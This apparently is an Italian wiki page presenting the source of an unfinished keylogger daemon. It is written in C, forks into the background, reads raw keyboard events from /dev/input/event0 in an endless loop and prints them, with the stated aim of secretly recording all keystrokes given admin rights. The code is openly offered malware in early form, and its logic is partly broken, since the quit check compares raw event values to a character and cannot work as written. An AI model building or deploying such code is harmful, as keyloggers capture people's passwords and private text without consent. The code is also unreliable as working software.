Demone ruba input
Jump to navigation
Jump to search
L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di lettura del carattere a partire dai valori nella struttura input_event, quindi per ora va in loop infinito.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>
#define MAX_BUFFER 16
struct input_event inputs[MAX_BUFFER];
int main(int args, char* argv[])
{
if(fork())
{
//Padre
exit(0);
}
else
{
//Figlio
printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
int i = 0;
int fd = open("/dev/input/event0", O_RDONLY);
while(1)
{
//read(fd, &letto, sizeof(int));
read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
for(i = 0; i < MAX_BUFFER; i++)
{
printf("%d:%d\t", inputs[i].value, i);
if(inputs[i].value == 'q')
{
break;
}
}
i++;
}
printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
exit(0);
}
return 0;
}